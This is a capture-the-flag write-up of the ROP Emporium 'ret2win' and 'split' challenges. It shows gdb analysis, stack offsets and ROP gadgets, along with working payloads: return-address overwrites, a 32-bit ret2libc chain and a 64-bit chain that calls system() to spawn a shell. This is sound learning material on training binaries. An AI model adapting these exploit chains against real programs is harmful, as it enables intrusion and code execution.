Ret2Win

This is the beginning of my ROP journey :)

Download the binaries: https://ropemporium.com/challenge/ret2win.html

Download any architecture type that interests you.


Introduction

Return Oriented Programming (ROP) is the successor of classic buffer overflow techniques such as:

Modern binaries often include mitigations like:

ROP bypasses these protections by chaining together small instruction sequences called gadgets that already exist inside the binary or linked libraries.


Program Analysis

Running the binary:

nastyax0@LAPTOP-DNJPR47V:~/ret2win$ ./ret2win
ret2win by ROP Emporium
x86_64

For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!

> asdfghjkl;
Thank you!

Exiting

The program itself hints at a vulnerability:

“fit 56 bytes of user input into 32 bytes of stack buffer”

This strongly suggests a stack buffer overflow.


Disassembling the Vulnerable Function

Let’s inspect the pwnme function:

(gdb) disassemble pwnme
Dump of assembler code for function pwnme:
    ...
   0x0000000000400733 <+75>:    lea    rax,[rbp-0x20]
   0x0000000000400737 <+79>:    mov    edx,0x38
   0x000000000040073c <+84>:    mov    rsi,rax
   0x000000000040073f <+87>:    mov    edi,0x0
   0x0000000000400744 <+92>:    call   0x400590 <read@plt>
End of assembler dump.
(gdb)

Important observations

lea rax,[rbp-0x20]

This means the buffer is located at

rbp - 0x20
mov edx,0x38

0x38 = 56 bytes

So the program calls:

read(0, buffer, 56)

But the buffer is only:

0x20 = 32 bytes

Result

56 byte input
32 byte buffer

24 bytes overflow


Stack Layout

Typical stack layout for this function:

| saved RIP |  <-- rbp + 0x8
| saved RBP |
| buffer    | 32 bytes

Therefore to overwrite RIP:

32 bytes buffer
+ 8 bytes saved RBP
= 40 bytes offset

So we need:

40 bytes padding
+ new RIP

Testing the Overflow

Let’s confirm the crash:

(gdb) run < <(python3 -c 'print("A"*40)')
Starting program: /home/nastyax0/ret2win/ret2win < <(python3 -c 'print("A"*40)')
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
ret2win by ROP Emporium
x86_64

For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!

> Thank you!

Program received signal SIGILL, Illegal instruction.
0x000000000040060f in deregister_tm_clones ()
(gdb)

This confirms:

We successfully overwrote RIP


Exploit

Now we locate the ret2win function:

x/x ret2win
0x400756 <ret2win>:     0xe5894855

Address of ret2win:

0x400756

Now craft payload:

padding (40 bytes)
+ ret2win address

Payload:

gdb < <(python3 -c 'import sys; sys.stdout.buffer.write(b"A"*40 + b"\x56\x07\x40\x00\x00\x00\x00\x00")')

> Thank you! Well done! Here's your flag: 

Program received signal SIGSEGV, 
Segmentation fault. 
0x00007ffff7e21173 in do_system (line=0x400943 "/bin/cat flag.txt") at 
../sysdeps/posix/system.c:148 148 ../sysdeps/posix/system.c: No such file or directory. 
(gdb) x/x 0x00007ffff7e21173 0x7ffff7e21173 <do_system+339>: 0x2444290f 
(gdb) x/i 0x00007ffff7e21173 => 0x7ffff7e21173 <do_system+339>: movaps XMMWORD PTR [rsp+0x50],xmm0

MOVAPS Crash Explanation

ROP Emporium hints about this issue:

The MOVAPS issue If you’re segfaulting on a movaps instruction in buffered_vfprintf() or do_system() in the x86_64 challenges, then ensure the stack is 16-byte aligned before returning to GLIBC functions such as printf() or system(). Some versions of GLIBC uses movaps instructions to move data onto the stack in certain functions. The 64 bit calling convention requires the stack to be 16-byte aligned before a call instruction but this is easily violated during ROP chain execution, causing all further calls from that function to be made with a misaligned stack. movaps triggers a general protection fault when operating on unaligned data, so try padding your ROP chain with an extra ret before returning into a function or return further into a function to skip a push instruction.

Why this happens

The x86_64 ABI requires 16-byte stack alignment before calling functions like:

If the stack is misaligned, instructions like:

movaps

will crash with a general protection fault.


Fix 1 — Add an Extra ret Gadget

Add a ret gadget before ret2win to restore stack alignment.

Payload:

nastyax0@LAPTOP-DNJPR47V:~/ret2win$ python3 -c 
'import sys; sys.stdout.buffer.write(b"A"*40 + 
b"\xe7\x06\x40\x00\x00\x00\x00\x00" + b"\x56\x07\x40\x00\x00\x00\x00\x00")' | ./ret2win
ret2win by ROP Emporium
x86_64

For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!

> Thank you!
Well done! Here's your flag:
ROPE{a_placeholder_32byte_flag!}

Fix 2 — Skip the Function Prologue

Instead of calling the function start, jump one byte forward to skip the push rbp.

Payload:

nastyax0@LAPTOP-DNJPR47V:~/ret2win$ 
python3 -c 'import sys; sys.stdout.buffer.write
(b"A"*40  + b"\x57\x07\x40\x00\x00\x00\x00\x00")' | ./ret2win
ret2win by ROP Emporium
x86_64

For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!

> Thank you!
Well done! Here's your flag:
ROPE{a_placeholder_32byte_flag!}


Split

Download the binaries: https://ropemporium.com/challenge/split.html

Download any architecture type that interests you.


For 32 bit Binary Analysis

For 32 bit binary we will do classic ret2libc, is calling convention of 32 bit system is stack based meaning first parameter of any function is pushed last and last parameter is pushed first

Moreover in 64 bit systems, these things changes a bit by register based conventions.

buffer size, determination:

(gdb) disassemble pwnme
Dump of assembler code for function pwnme:
...
   0x080485b6 <+9>:     push   0x20
   0x080485b8 <+11>:    push   0x0
   0x080485ba <+13>:    lea    eax,[ebp-0x28]
   0x080485bd <+16>:    push   eax
   0x080485be <+17>:    call   0x8048410 <memset@plt>
...
   0x080485d9 <+44>:    push   0x8048700
   0x080485de <+49>:    call   0x80483c0 <printf@plt>
   0x080485e3 <+54>:    add    esp,0x10
   0x080485e6 <+57>:    sub    esp,0x4
   0x080485e9 <+60>:    push   0x60
   0x080485eb <+62>:    lea    eax,[ebp-0x28]
   0x080485ee <+65>:    push   eax
   0x080485ef <+66>:    push   0x0
   0x080485f1 <+68>:    call   0x80483b0 <read@plt>
End of assembler dump.

Yet again same buffer “mistake” from 1st challenge, the read’s ccount is set to 0x60(96) but buffer is of 0x28(32) bytes


Exploit Startegy

we can extend up to like till we overwrite return address:

system() exit() ‘/bin/sh’ string

(gdb) x/s 0x0804a030 0x804a030 : "/bin/cat flag.txt"

(gdb) p system $1 = {<text variable, no debug info>} 0xf7dda8d0

(gdb) p exit $2 = {<text variable, no debug info>} 0xf7dc9d10

run < 
<(python3 -c 
'import sys; sys.stdout.buffer.write(b"A"*40 + b"AAAA"+b"\xd0\xa8\xdd\xf7"+b"\x10\x9d\xdc\xf7"+b"\x30\xa0\x04\x08")')
Contriving a reason to ask user for data...
> Thank you!
[Detaching after vfork from child process 192]
ROPE{a_placeholder_32byte_flag!}
[Inferior 1 (process 188) exited normally]
(just a flag thing hence leaving till here than trying outisde gdb)

For 64-bit Binary Analysis

We need to perform Return Oriented Programming (ROP), but in 64-bit the key constraint is:

Arguments are passed through registers, not the stack.


Background

Every program starts execution from _start, which eventually calls main.

A typical function prologue looks like:

push rbp
mov rbp, rsp

This establishes the stack frame.


Memory Layout

A process has different memory regions:

Common segmentation:

--------------------------------------------
| r-xp  | .text   (executable code)        |
| r--p  | .rodata (read-only data)        |
| rw-p  | .data + .bss (globals)          |
--------------------------------------------
| rw-p  | stack                           |
--------------------------------------------

From /proc/<pid>/maps:

00400000-00401000 r-xp  → .text
00600000-00601000 r--p  → .rodata
00601000-00602000 rw-p  → .data/.bss
7ffd........       rw-p  → [stack]

Key properties:


Stack Frame Layout (x86_64)

After prologue:

[RBP + 0x8] → Return Address
[RBP + 0x0] → Saved RBP
[RBP - ...] → Local Variables

If a buffer overflow exists, we can overwrite:


How RET Works

ret behaves as:

RIP = [RSP]
RSP = RSP + 8

So it:

  1. Reads the top of stack
  2. Jumps to that address
  3. Moves stack forward

Effectively:

pop rip

Why ROP is Needed

So we reuse existing instructions (gadgets) ending in:

ret

Calling Convention (System V AMD64)

Function arguments are passed via registers:

1st → RDI
2nd → RSI
3rd → RDX
4th → RCX
5th → R8
6th → R9

Example:

system("/bin/sh");

Requires:

RDI = address of "/bin/sh"

Core ROP Idea

We do not manually execute push rdi.

Instead, we use gadgets like:

pop rdi
ret

This allows us to control register values via the stack.


Correct Stack Overwrite (ROP Chain)

After overflow:

[padding .................]
[saved RBP (optional).....]
[address of pop rdi; ret]   ← overwrite return address
[address of "/bin/sh"]     ← will be popped into RDI
[address of system()]      ← next return target

Execution Flow

Step 1: Function returns

ret → jumps to pop rdi; ret

Step 2: Gadget executes

pop rdi
ret

Step 3: Control reaches system

RDI = "/bin/sh"
RIP = system()

Equivalent to:

system("/bin/sh");

Important Clarifications


Final Idea

ROP is:

Using the stack as a sequence of return addresses to execute controlled instruction chains from .text.

so pop rdi; ret address of /bin/cat flag.txt address of ret (to avoid misaligment) address of system address of exit optional to avoid segfaulting

Exploit Strategy

finding /bin/sh string

nastyax0@LAPTOP-DNJPR47V:/mnt/c/Users/Akanksha/Downloads/split$ xxd -u /usr/lib/x86_64-linux-gnu/libc.so.6 |grep -B 1 bi
n/sh
00197020: 6962 2F73 7472 746F 645F 6C2E 6300 2D63  ib/strtod_l.c.-c
00197030: 002F 6269 6E2F 7368 0065 7869 7420 3000  ./bin/sh.exit 0.

we found offset for /bin/sh string with the base address:

      0x7ffff7dd5000     0x7ffff7dfb000    0x26000        0x0  r--p   /usr/lib/x86_64-linux-gnu/libc.so.6
      0x7ffff7dfb000     0x7ffff7f51000   0x156000    0x26000  r-xp   /usr/lib/x86_64-linux-gnu/libc.so.6
      0x7ffff7f51000     0x7ffff7fa4000    0x53000   0x17c000  r--p   /usr/lib/x86_64-linux-gnu/libc.so.6
      0x7ffff7fa4000     0x7ffff7fa8000     0x4000   0x1cf000  r--p   /usr/lib/x86_64-linux-gnu/libc.so.6
      0x7ffff7fa8000     0x7ffff7faa000     0x2000   0x1d3000  rw-p   /usr/lib/x86_64-linux-gnu/libc.so.6
(gdb) x/2s 0x7ffff7dd5000+0x00197031

0x7ffff7f6c031: "/bin/sh"
0x7ffff7f6c039: "exit 0"

finding the address of system:

(gdb) p system
quit
$1 = {int (const char *)} 0x7ffff7e21490 <__libc_system>
(gdb)

finding the gadget for pop rdi; ret

nastyax0@LAPTOP-DNJPR47V:/mnt/c/Users/Akanksha/Downloads/split$ ROPgadget --binary ./split --opcode "5fc3"
Opcodes information
============================================================
0x00000000004007c3 : 5fc3
(gdb) x/2i 0x00000000004007c3

   0x4007c3 <__libc_csu_init+99>:       pop    rdi
   0x4007c4 <__libc_csu_init+100>:      ret
(gdb)
 python3 -c 'import sys; sys.stdout.buffer.write(
b"A"*40
+ b"\xc3\x07\x40\x00\x00\x00\x00\x00"  # pop rdi
+ b"\x31\xc0\xf6\xf7\xff\x7f\x00\x00"  # "/bin/sh"
+ b"\xc4\x07\x40\x00\x00\x00\x00\x00"  # ret
+ b"\x90\x14\xe2\xf7\xff\x7f\x00\x00"  # system
)' > paylo
nastyax0@LAPTOP-DNJPR47V:/mnt/c/Users/Akanksha/Downloads/split$ ( cat paylo; cat ) | ./split
split by ROP Emporium
x86_64

Contriving a reason to ask user for data...
> Thank you!
ls
flag.txt  paylo  split
cat flag.txt
ROPE{a_placeholder_32byte_flag!}
^X^Csplit by ROP Emporium
x86_64

Contriving a reason to ask user for data...

Segmentation fault (core dumped)

for the usefulString: /bin/cat flag.txt

nastyax0@LAPTOP-DNJPR47V:/mnt/c/Users/Akanksha/Downloads/split$ ROPgadget --binary ./split --string "/bin/cat flag.txt"
Strings information
============================================================
0x0000000000601060 : /bin/cat flag.txt
(gdb) run < <(python3 -c 'import sys; sys.stdout.buffer.write(b"A"*40 + b"\xc3\x07\x40\x00\x00\x00\x00\x00" + b"\x60\x10\x60\x
00\x00\x00\x00\x00" + b"\xc4\x07\x40\x00\x00\x00\x00\x00" + b"\x90\x14\xe2\xf7\xff\x7f")')

[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
split by ROP Emporium
x86_64

Contriving a reason to ask user for data...
> Thank you!
[Detaching after vfork from child process 174]
ROPE{a_placeholder_32byte_flag!}
split by ROP Emporium
x86_64

Contriving a reason to ask user for data...

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7e3389b in buffered_vfprintf (s=0x7ffff7fa9760 <_IO_2_1_stdout_>, format=format@entry=0x40083c "> ",
    args=args@entry=0x7fffffffdb78, mode_flags=mode_flags@entry=0) at ./stdio-common/vfprintf-internal.c:1734
1734    ./stdio-common/vfprintf-internal.c: No such file or directory.
(gdb) quit
A debugging session is active.

        Inferior 1 [process 172] will be killed.

Quit anyway? (y or n) y

again if you want non crashable, then add a exit after the system()’s address (reccomended)